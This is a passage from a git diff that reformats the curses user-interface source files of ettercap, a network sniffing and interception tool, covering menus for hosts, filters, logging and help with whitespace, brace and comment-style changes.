strlen(path)+strlen(file)+2, "%s/%s", path, file); + SAFE_CALLOC(GBL_OPTIONS->pcapfile_in, strlen(path) + strlen(file) + 2, sizeof(char)); + + snprintf(GBL_OPTIONS->pcapfile_in, strlen(path) + strlen(file) + 2, "%s/%s", path, file); /* check if the file is good */ if (is_pcap_file(GBL_OPTIONS->pcapfile_in, pcap_errbuf) != E_SUCCESS) { @@ -505,13 +490,13 @@ static void read_pcapfile(const char *path, char *file) SAFE_FREE(GBL_OPTIONS->pcapfile_in); return; } - + /* set the options for reading from file */ GBL_OPTIONS->silent = 1; GBL_OPTIONS->unoffensive = 1; GBL_OPTIONS->write = 0; GBL_OPTIONS->read = 1; - + /* exit the setup interface, and go to the primary one */ wdg_exit(); } @@ -522,9 +507,9 @@ static void read_pcapfile(const char *path, char *file) static void curses_file_write(void) { #define FILE_LEN 40 - + DEBUG_MSG("curses_file_write"); - + SAFE_CALLOC(GBL_OPTIONS->pcapfile_out, FILE_LEN, sizeof(char)); curses_input("Output file :", GBL_OPTIONS->pcapfile_out, FILE_LEN, write_pcapfile); @@ -533,9 +518,9 @@ static void curses_file_write(void) static void write_pcapfile(void) { FILE *f; - + DEBUG_MSG("write_pcapfile"); - + /* check if the file is writeable */ f = fopen(GBL_OPTIONS->pcapfile_out, "w"); if (f == NULL) { @@ -543,7 +528,7 @@ static void write_pcapfile(void) SAFE_FREE(GBL_OPTIONS->pcapfile_out); return; } - + /* if ok, delete it */ fclose(f); unlink(GBL_OPTIONS->pcapfile_out); @@ -559,15 +544,15 @@ static void write_pcapfile(void) static void curses_unified_sniff(void) { char err[PCAP_ERRBUF_SIZE]; - + #define IFACE_LEN 50 - + DEBUG_MSG("curses_unified_sniff"); - + /* if the user has not specified an interface, get the first one */ if (GBL_OPTIONS->iface == NULL) { char *iface; - + SAFE_CALLOC(GBL_OPTIONS->iface, IFACE_LEN, sizeof(char)); iface = pcap_lookupdev(err); ON_ERROR(iface, NULL, "pcap_lookupdev: %s", err); @@ -586,21 +571,20 @@ static void curses_bridged_sniff(void) { wdg_t *in; char err[PCAP_ERRBUF_SIZE]; - + DEBUG_MSG("curses_bridged_sniff"); - + /* if the user has not specified an interface, get the first one */ if (GBL_OPTIONS->iface == NULL) { SAFE_CALLOC(GBL_OPTIONS->iface, IFACE_LEN, sizeof(char)); - /* if ettercap is started with a non root account pcap_lookupdev(err) == NULL (Fedora bug 783675) */ - if(pcap_lookupdev(err) != NULL) + /* if ettercap is started with a non root account pcap_lookupdev(err) == NULL (Fedora bug 783675) */ + if (pcap_lookupdev(err) != NULL) strncpy(GBL_OPTIONS->iface, pcap_lookupdev(err), IFACE_LEN - 1); - /* else - here we have to gracefully exit, since we don't have any available interface - */ - + /* else + * here we have to gracefully exit, since we don't have any available interface + */ } - + SAFE_CALLOC(GBL_OPTIONS->iface_bridge, IFACE_LEN, sizeof(char)); wdg_create_object(&in, WDG_INPUT, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); @@ -612,16 +596,16 @@ static void curses_bridged_sniff(void) wdg_input_add(in, 1, 1, "First network interface :", GBL_OPTIONS->iface, IFACE_LEN, 1); wdg_input_add(in, 1, 2, "Second network interface :", GBL_OPTIONS->iface_bridge, IFACE_LEN, 1); wdg_input_set_callback(in, bridged_sniff); - + wdg_draw_object(in); - + wdg_set_focus(in); } static void bridged_sniff(void) { set_bridge_sniff(); - + wdg_exit(); } @@ -631,12 +615,12 @@ static void bridged_sniff(void) static void curses_pcap_filter(void) { #define PCAP_FILTER_LEN 50 - + DEBUG_MSG("curses_pcap_filter"); - + SAFE_CALLOC(GBL_PCAP->filter, PCAP_FILTER_LEN, sizeof(char)); - /* + /* * no callback, the filter is set but we have to return to * the interface for other user input */ @@ -644,35 +628,33 @@ static void curses_pcap_filter(void) } /* - * set a different netmask than the system one + * set a different netmask than the system one */ static void curses_set_netmask(void) { struct ip_addr net; - + DEBUG_MSG("curses_set_netmask"); - + if (GBL_OPTIONS->netmask == NULL) SAFE_CALLOC(GBL_OPTIONS->netmask, IP_ASCII_ADDR_LEN, sizeof(char)); - /* + /* * no callback, the filter is set but we have to return to * the interface for other user input */ curses_input("Netmask :", GBL_OPTIONS->netmask, IP_ASCII_ADDR_LEN, NULL); /* sanity check */ - if (strcmp(GBL_OPTIONS->netmask, "") && - ip_addr_pton(GBL_OPTIONS->netmask, &net) != E_SUCCESS) + if (strcmp(GBL_OPTIONS->netmask, "") && + ip_addr_pton(GBL_OPTIONS->netmask, &net) != E_SUCCESS) ui_error("Invalid netmask %s", GBL_OPTIONS->netmask); - + /* if no netmask was specified, free it */ if (!strcmp(GBL_OPTIONS->netmask, "")) SAFE_FREE(GBL_OPTIONS->netmask); - } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/ec_curses.h b/src/interfaces/curses/ec_curses.h index 76badb895..fbdebddac 100644 --- a/src/interfaces/curses/ec_curses.h +++ b/src/interfaces/curses/ec_curses.h @@ -19,19 +19,18 @@ void curses_hosts_update(void); void curses_plugins_update(void); /* menus */ -extern struct wdg_menu menu_filters[]; -extern struct wdg_menu menu_logging[]; -extern struct wdg_menu menu_help[]; -extern struct wdg_menu menu_hosts[]; -extern struct wdg_menu menu_mitm[]; -extern struct wdg_menu menu_plugins[]; -extern struct wdg_menu menu_start[]; -extern struct wdg_menu menu_targets[]; -extern struct wdg_menu menu_view[]; +extern struct wdg_menu menu_filters[]; +extern struct wdg_menu menu_logging[]; +extern struct wdg_menu menu_help[]; +extern struct wdg_menu menu_hosts[]; +extern struct wdg_menu menu_mitm[]; +extern struct wdg_menu menu_plugins[]; +extern struct wdg_menu menu_start[]; +extern struct wdg_menu menu_targets[]; +extern struct wdg_menu menu_view[]; #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/ec_curses_filters.c b/src/interfaces/curses/ec_curses_filters.c index 0fd482e6c..61bf7a50f 100644 --- a/src/interfaces/curses/ec_curses_filters.c +++ b/src/interfaces/curses/ec_curses_filters.c @@ -1,23 +1,23 @@ /* - ettercap -- curses GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- curses GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -36,12 +36,11 @@ static void curses_stop_filter(void); /* globals */ -struct wdg_menu menu_filters[] = { {"Filters", 'F', "", NULL}, - {"Manage filters", CTRL('M'), "C-m", curses_manage_filters}, - {"Load a filter...", CTRL('F'), "C-f", curses_load_filter}, - {"Stop filtering", 'f', "f", curses_stop_filter}, - {NULL, 0, NULL, NULL}, - }; +struct wdg_menu menu_filters[] = { { "Filters", 'F', "", NULL }, + { "Manage filters", CTRL('M'), "C-m", curses_manage_filters }, + { "Load a filter...", CTRL('F'), "C-f", curses_load_filter }, + { "Stop filtering", 'f', "f", curses_stop_filter }, + { NULL, 0, NULL, NULL }, }; /*******************************************/ @@ -52,11 +51,11 @@ static int n_filters = 0; static int add_filter_to_list(struct filter_list *f, void *data) { /* variable not used */ - (void) data; + (void)data; SAFE_REALLOC(wdg_filters_elements, (n_filters + 1) * sizeof(struct wdg_list)); SAFE_CALLOC(wdg_filters_elements[n_filters].desc, MAX_DESC_LEN + 1, sizeof(char)); - snprintf(wdg_filters_elements[n_filters].desc, MAX_DESC_LEN, "[%c] %s", f->enabled?'X':' ', f->name); + snprintf(wdg_filters_elements[n_filters].desc, MAX_DESC_LEN, "[%c] %s", f->enabled ? 'X' : ' ', f->name); wdg_filters_elements[n_filters].value = f; n_filters++; @@ -66,13 +65,13 @@ static int add_filter_to_list(struct filter_list *f, void *data) static void build_filter_list(void) { while (wdg_filters_elements && n_filters > 0) { - SAFE_FREE(wdg_filters_elements[n_filters-1].desc); + SAFE_FREE(wdg_filters_elements[n_filters - 1].desc); n_filters--; } SAFE_FREE(wdg_filters_elements); n_filters = 0; - filter_walk_list( add_filter_to_list, &n_filters ); + filter_walk_list(add_filter_to_list, &n_filters); SAFE_REALLOC(wdg_filters_elements, (n_filters + 1) * sizeof(struct wdg_list)); /* 0-terminate the array */ @@ -113,7 +112,7 @@ static void curses_select_filter(void *filter) return; struct filter_list *f = filter; /* toggle the filter */ - f->enabled = ! f->enabled; + f->enabled = !f->enabled; refresh_filter_list(); } @@ -123,11 +122,11 @@ static void curses_select_filter(void *filter) static void curses_load_filter(void) { wdg_t *fop; - + DEBUG_MSG("curses_load_filter"); - + wdg_create_object(&fop, WDG_FILE, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); - + wdg_set_title(fop, "Select a precompiled filter file...", WDG_ALIGN_LEFT); wdg_set_color(fop, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(fop, WDG_COLOR_WINDOW, EC_COLOR_MENU); @@ -135,32 +134,31 @@ static void curses_load_filter(void) wdg_set_color(fop, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_file_set_callback(fop, load_filter); - + wdg_draw_object(fop); - + wdg_set_focus(fop); } static void load_filter(const char *path, char *file) { char *tmp; - + DEBUG_MSG("load_filter %s/%s", path, file); - - SAFE_CALLOC(tmp, strlen(path)+strlen(file)+2, sizeof(char)); - snprintf(tmp, strlen(path)+strlen(file)+2, "%s/%s", path, file); + SAFE_CALLOC(tmp, strlen(path) + strlen(file) + 2, sizeof(char)); + + snprintf(tmp, strlen(path) + strlen(file) + 2, "%s/%s", path, file); - /* + /* * load the filters chain. * errors are spawned by the function itself */ filter_load_file(tmp, GBL_FILTERS, 1); - + SAFE_FREE(tmp); } - /* * uload the filter chain */ @@ -169,11 +167,10 @@ static void curses_stop_filter(void) DEBUG_MSG("curses_stop_filter"); filter_unload(GBL_FILTERS); - + curses_message("Filters were unloaded"); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/ec_curses_help.c b/src/interfaces/curses/ec_curses_help.c index 297b084eb..47f6bb972 100644 --- a/src/interfaces/curses/ec_curses_help.c +++ b/src/interfaces/curses/ec_curses_help.c @@ -1,23 +1,23 @@ /* - ettercap -- curses GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- curses GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -36,29 +36,29 @@ void help_etterlog(void); /* globals */ -struct wdg_menu menu_help[] = { {"?", 0, "", NULL}, - {"ettercap" , 0, "", help_ettercap}, - {"curses gui" , 0, "", help_curses}, - {"plugins" , 0, "", help_plugins}, - {"etter.conf" , 0, "", help_etterconf}, - {"etterfilter" , 0, "", help_etterfilter}, - {"etterlog" , 0, "", help_etterlog}, - {NULL, 0, NULL, NULL}, - }; +struct wdg_menu menu_help[] = { { "?", 0, "", NULL }, + { "ettercap", 0, "", help_ettercap }, + { "curses gui", 0, "", help_curses }, + { "plugins", 0, "", help_plugins }, + { "etter.conf", 0, "", help_etterconf }, + { "etterfilter", 0, "", help_etterfilter }, + { "etterlog", 0, "", help_etterlog }, + { NULL, 0, NULL, NULL }, }; /* macro */ -#define SHOW_MAN(x, y) do { \ - int ret; \ - DEBUG_MSG("curses_help: retriving man page for: " x); \ - endwin(); \ - ret = system("man " x); \ - if (ret != 0) \ - ret = system("man " y); \ - refresh(); \ - if (ret != 0) \ - ui_error("Cannot find man page for " x); \ -} while(0) +#define SHOW_MAN(x, y) \ + do { \ + int ret; \ + DEBUG_MSG("curses_help: retriving man page for: " x); \ + endwin(); \ + ret = system("man " x); \ + if (ret != 0) \ + ret = system("man " y); \ + refresh(); \ + if (ret != 0) \ + ui_error("Cannot find man page for " x); \ + } while (0) /*******************************************/ @@ -95,4 +95,3 @@ void help_etterlog(void) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/ec_curses_hosts.c b/src/interfaces/curses/ec_curses_hosts.c index 147800772..db51cd7d7 100644 --- a/src/interfaces/curses/ec_curses_hosts.c +++ b/src/interfaces/curses/ec_curses_hosts.c @@ -1,23 +1,23 @@ /* - ettercap -- curses GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- curses GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -51,17 +51,16 @@ static char tag_ip6scan[] = " "; static wdg_t *wdg_hosts; static struct wdg_list *wdg_hosts_elements; -struct wdg_menu menu_hosts[] = { {"Hosts", 'H', "", NULL}, - {"Hosts list", 'h', "h", curses_host_list}, - {"-", 0, "", NULL}, +struct wdg_menu menu_hosts[] = { { "Hosts", 'H', "", NULL }, + { "Hosts list", 'h', "h", curses_host_list }, + { "-", 0, "", NULL }, #ifdef WITH_IPV6 - {"Enable IPv6 scan", 0, tag_ip6scan, toggle_ip6scan}, + { "Enable IPv6 scan", 0, tag_ip6scan, toggle_ip6scan }, #endif - {"Scan for hosts", CTRL('S'), "C-s", curses_scan}, - {"Load from file...", 0, "", curses_load_hosts}, - {"Save to file...", 0, "", curses_save_hosts}, - {NULL, 0, NULL, NULL}, - }; + { "Scan for hosts", CTRL('S'), "C-s", curses_scan }, + { "Load from file...", 0, "", curses_load_hosts }, + { "Save to file...", 0, "", curses_save_hosts }, + { NULL, 0, NULL, NULL }, }; /*******************************************/ @@ -76,22 +75,23 @@ static void toggle_ip6scan(void) GBL_OPTIONS->ip6scan = 1; } } -#endif +#endif /* - * scan the lan for hosts + * scan the lan for hosts */ static void curses_scan(void) { /* no target defined... force a full scan */ if (GBL_TARGET1->all_ip && GBL_TARGET2->all_ip && GBL_TARGET1->all_ip6 && GBL_TARGET2->all_ip6 && - !GBL_TARGET1->scan_all && !GBL_TARGET2->scan_all) { + !GBL_TARGET1->scan_all && !GBL_TARGET2->scan_all) + { GBL_TARGET1->scan_all = 1; GBL_TARGET2->scan_all = 1; } - + /* perform a new scan */ build_hosts_list(); } @@ -102,11 +102,11 @@ static void curses_scan(void) static void curses_load_hosts(void) { wdg_t *fop; - + DEBUG_MSG("curses_load_hosts"); - + wdg_create_object(&fop, WDG_FILE, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); - + wdg_set_title(fop, "Select an hosts file...", WDG_ALIGN_LEFT); wdg_set_color(fop, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(fop, WDG_COLOR_WINDOW, EC_COLOR_MENU); @@ -114,9 +114,9 @@ static void curses_load_hosts(void) wdg_set_color(fop, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_file_set_callback(fop, load_hosts); - + wdg_draw_object(fop); - + wdg_set_focus(fop); } @@ -124,10 +124,10 @@ static void load_hosts(const char *path, char *file) { char *tmp; char current[PATH_MAX]; - + DEBUG_MSG("load_hosts %s/%s", path, file); - - SAFE_CALLOC(tmp, strlen(path)+strlen(file)+2, sizeof(char)); + + SAFE_CALLOC(tmp, strlen(path) + strlen(file) + 2, sizeof(char)); /* get the current working directory */ getcwd(current, PATH_MAX); @@ -147,9 +147,9 @@ static void load_hosts(const char *path, char *file) /* load the hosts list */ scan_load_hosts(tmp); - + SAFE_FREE(tmp); - + curses_host_list(); } @@ -159,19 +159,19 @@ static void load_hosts(const char *path, char *file) static void curses_save_hosts(void) { #define FILE_LEN 40 - + DEBUG_MSG("curses_save_hosts"); SAFE_FREE(GBL_OPTIONS->hostsfile); SAFE_CALLOC(GBL_OPTIONS->hostsfile, FILE_LEN, sizeof(char)); - + curses_input("Output file :", GBL_OPTIONS->hostsfile, FILE_LEN, save_hosts); } static void save_hosts(void) { FILE *f; - + /* check if the file is writeable */ f = fopen(GBL_OPTIONS->hostsfile, "w"); if (f == NULL) { @@ -179,28 +179,28 @@ static void save_hosts(void) SAFE_FREE(GBL_OPTIONS->hostsfile); return; } - + /* if ok, delete it */ fclose(f); unlink(GBL_OPTIONS->hostsfile); - + scan_save_hosts(GBL_OPTIONS->hostsfile); } /* - * display the host list + * display the host list */ static void curses_host_list(void) { DEBUG_MSG("curses_host_list"); - + /* if the object already exist, recreate it */ if (wdg_hosts) { wdg_destroy_object(&wdg_hosts); } - + wdg_create_object(&wdg_hosts, WDG_LIST, WDG_OBJ_WANT_FOCUS); - + wdg_set_size(wdg_hosts, 1, 2, -1, SYSMSG_WIN_SIZE - 1); wdg_set_title(wdg_hosts, "Hosts list...", WDG_ALIGN_LEFT); wdg_set_color(wdg_hosts, WDG_COLOR_SCREEN, EC_COLOR); @@ -211,21 +211,21 @@ static void curses_host_list(void) /* create the array for the list widget */ curses_create_hosts_array(); - + /* set the elements */ wdg_list_set_elements(wdg_hosts, wdg_hosts_elements); - + /* add the destroy callback */ wdg_add_destroy_key(wdg_hosts, CTRL('Q'), curses_hosts_destroy); - + /* add the callbacks */ wdg_list_add_callback(wdg_hosts, 'd', curses_delete_host); wdg_list_add_callback(wdg_hosts, '1', curses_host_target1); wdg_list_add_callback(wdg_hosts, '2', curses_host_target2); wdg_list_add_callback(wdg_hosts, ' ', curses_hosts_help); - + wdg_draw_object(wdg_hosts); - + wdg_set_focus(wdg_hosts); } @@ -236,14 +236,14 @@ static void curses_hosts_destroy(void) void curses_hosts_update() { - if(wdg_hosts) + if (wdg_hosts) curses_host_list(); } static void curses_hosts_help(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; char help[] = "HELP: shortcut list:\n\n" " d - to delete an host from the list\n" @@ -253,10 +253,9 @@ static void curses_hosts_help(void *dummy) curses_message(help); } - /* * create the array for the widget. - * erase any previously alloc'd array + * erase any previously alloc'd array */ static void curses_create_hosts_array(void) { @@ -268,9 +267,9 @@ static void curses_create_hosts_array(void) size_t nhosts; #define MAX_DESC_LEN 70 - + DEBUG_MSG("curses_create_hosts_array"); - + /* free the array (if alloc'ed) */ while (wdg_hosts_elements && wdg_hosts_elements[i].desc != NULL) { SAFE_FREE(wdg_hosts_elements[i].desc); @@ -278,31 +277,31 @@ static void curses_create_hosts_array(void) } SAFE_FREE(wdg_hosts_elements); nhosts = 0; - + /* walk the hosts list */ LIST_FOREACH(hl, &GBL_HOSTLIST, next) { - /* enlarge the array */ + /* enlarge the array */ SAFE_REALLOC(wdg_hosts_elements, (nhosts + 1) * sizeof(struct wdg_list)); /* fill the element */ SAFE_CALLOC(wdg_hosts_elements[nhosts].desc, MAX_DESC_LEN + 1, sizeof(char)); /* print the description in the array */ if (hl->hostname) { - snprintf(wdg_hosts_elements[nhosts].desc, MAX_DESC_LEN, "%-15s %17s %s", - ip_addr_ntoa(&hl->ip, tmp), mac_addr_ntoa(hl->mac, tmp2), hl->hostname); + snprintf(wdg_hosts_elements[nhosts].desc, MAX_DESC_LEN, "%-15s %17s %s", + ip_addr_ntoa(&hl->ip, tmp), mac_addr_ntoa(hl->mac, tmp2), hl->hostname); } else { /* resolve the hostname (using the cache) */ host_iptoa(&hl->ip, name); - snprintf(wdg_hosts_elements[nhosts].desc, MAX_DESC_LEN, "%-15s %17s %s", - ip_addr_ntoa(&hl->ip, tmp), mac_addr_ntoa(hl->mac, tmp2), name); + snprintf(wdg_hosts_elements[nhosts].desc, MAX_DESC_LEN, "%-15s %17s %s", + ip_addr_ntoa(&hl->ip, tmp), mac_addr_ntoa(hl->mac, tmp2), name); } - + wdg_hosts_elements[nhosts].value = hl; - + nhosts++; } - - /* null terminate the array */ + + /* null terminate the array */ SAFE_REALLOC(wdg_hosts_elements, (nhosts + 1) * sizeof(struct wdg_list)); wdg_hosts_elements[nhosts].desc = NULL; wdg_hosts_elements[nhosts].value = NULL; @@ -314,7 +313,7 @@ static void curses_create_hosts_array(void) static void curses_delete_host(void *host) { struct hosts_list *hl; - + /* sanity check */ if (host == NULL) return; @@ -338,12 +337,12 @@ static void curses_host_target1(void *host) { struct hosts_list *hl; char tmp[MAX_ASCII_ADDR_LEN]; - + DEBUG_MSG("curses_host_target1"); - + /* cast the parameter */ hl = (struct hosts_list *)host; - + /* add the ip to the target */ add_ip_list(&hl->ip, GBL_TARGET1); @@ -357,19 +356,18 @@ static void curses_host_target2(void *host) { struct hosts_list *hl; char tmp[MAX_ASCII_ADDR_LEN]; - + DEBUG_MSG("curses_host_target2"); - + /* cast the parameter */ hl = (struct hosts_list *)host; - + /* add the ip to the target */ add_ip_list(&hl->ip, GBL_TARGET2); - + USER_MSG("Host %s added to TARGET2\n", ip_addr_ntoa(&hl->ip, tmp)); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/ec_curses_live.c b/src/interfaces/curses/ec_curses_live.c index cc86979a2..dddadfa55 100644 --- a/src/interfaces/curses/ec_curses_live.c +++ b/src/interfaces/curses/ec_curses_live.c @@ -1,23 +1,23 @@ /* - ettercap -- curses GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- curses GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,13 +25,12 @@ /*******************************************/ - /* the interface */ void curses_sniff_live(void) { wdg_t *menu; - + DEBUG_MSG("curses_sniff_live"); wdg_create_object(&menu, WDG_MENU, WDG_OBJ_WANT_FOCUS | WDG_OBJ_ROOT_OBJECT); @@ -43,28 +42,28 @@ void curses_sniff_live(void) wdg_set_color(menu, WDG_COLOR_TITLE, EC_COLOR_TITLE); /* add the menu from external files */ wdg_menu_add(menu, menu_start); - + wdg_menu_add(menu, menu_targets); - + if (GBL_SNIFF->type != SM_BRIDGED) wdg_menu_add(menu, menu_hosts); - + wdg_menu_add(menu, menu_view); - + if (GBL_SNIFF->type != SM_BRIDGED) wdg_menu_add(menu, menu_mitm); - + wdg_menu_add(menu, menu_filters); wdg_menu_add(menu, menu_logging); #ifdef HAVE_PLUGINS wdg_menu_add(menu, menu_plugins); #endif - + wdg_menu_add(menu, menu_help); wdg_draw_object(menu); - + /* repaint the whole screen */ wdg_redraw_all(); @@ -73,7 +72,7 @@ void curses_sniff_live(void) /* add the message flush callback */ wdg_add_idle_callback(curses_flush_msg); - /* + /* * give the control to the event dispatcher * with the emergency exit key 'Q' */ @@ -82,8 +81,6 @@ void curses_sniff_live(void) wdg_destroy_object(&menu); } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/ec_curses_logging.c b/src/interfaces/curses/ec_curses_logging.c index 46f9223f5..8e260d0fc 100644 --- a/src/interfaces/curses/ec_curses_logging.c +++ b/src/interfaces/curses/ec_curses_logging.c @@ -1,23 +1,23 @@ /* - ettercap -- curses GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- curses GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -43,17 +43,16 @@ static void curses_stop_msg(void); static char tag_compress[] = " "; static char *logfile; -struct wdg_menu menu_logging[] = { {"Logging", 'L', "", NULL}, - {"Log all packets and infos...", 'I', "I", curses_log_all}, - {"Log only infos...", 'i', "i", curses_log_info}, - {"Stop logging infos", 0, "", curses_stop_log}, - {"-", 0, "", NULL}, - {"Log user messages...", 'm', "m", curses_log_msg}, - {"Stop logging messages", 0, "", curses_stop_msg}, - {"-", 0, "", NULL}, - {"Compressed file", 0, tag_compress, toggle_compress}, - {NULL, 0, NULL, NULL}, - }; +struct wdg_menu menu_logging[] = { { "Logging", 'L', "", NULL }, + { "Log all packets and infos...", 'I', "I", curses_log_all }, + { "Log only infos...", 'i', "i", curses_log_info }, + { "Stop logging infos", 0, "", curses_stop_log }, + { "-", 0, "", NULL }, + { "Log user messages...", 'm', "m", curses_log_msg }, + { "Stop logging messages", 0, "", curses_stop_msg }, + { "-", 0, "", NULL }, + { "Compressed file", 0, tag_compress, toggle_compress }, + { NULL, 0, NULL, NULL }, }; /*******************************************/ @@ -69,7 +68,7 @@ static void toggle_compress(void) } /* - * display the log dialog + * display the log dialog */ static void curses_log_all(void) { @@ -89,13 +88,13 @@ static void log_all(void) ui_error("Please specify a filename"); return; } - + set_loglevel(LOG_PACKET, logfile); SAFE_FREE(logfile); } /* - * display the log dialog + * display the log dialog */ static void curses_log_info(void) { @@ -127,7 +126,7 @@ static void curses_stop_log(void) } /* - * display the log dialog + * display the log dialog */ static void curses_log_msg(void) { @@ -147,7 +146,7 @@ static void log_msg(void) ui_error("Please specify a filename"); return; } - + set_msg_loglevel(LOG_TRUE, logfile); SAFE_FREE(logfile); } @@ -161,4 +160,3 @@ static void curses_stop_msg(void) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/ec_curses_mitm.c b/src/interfaces/curses/ec_curses_mitm.c index 3f33811f6..6cc127d83 100644 --- a/src/interfaces/curses/ec_curses_mitm.c +++ b/src/interfaces/curses/ec_curses_mitm.c @@ -1,23 +1,23 @@ /* - ettercap -- curses GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ 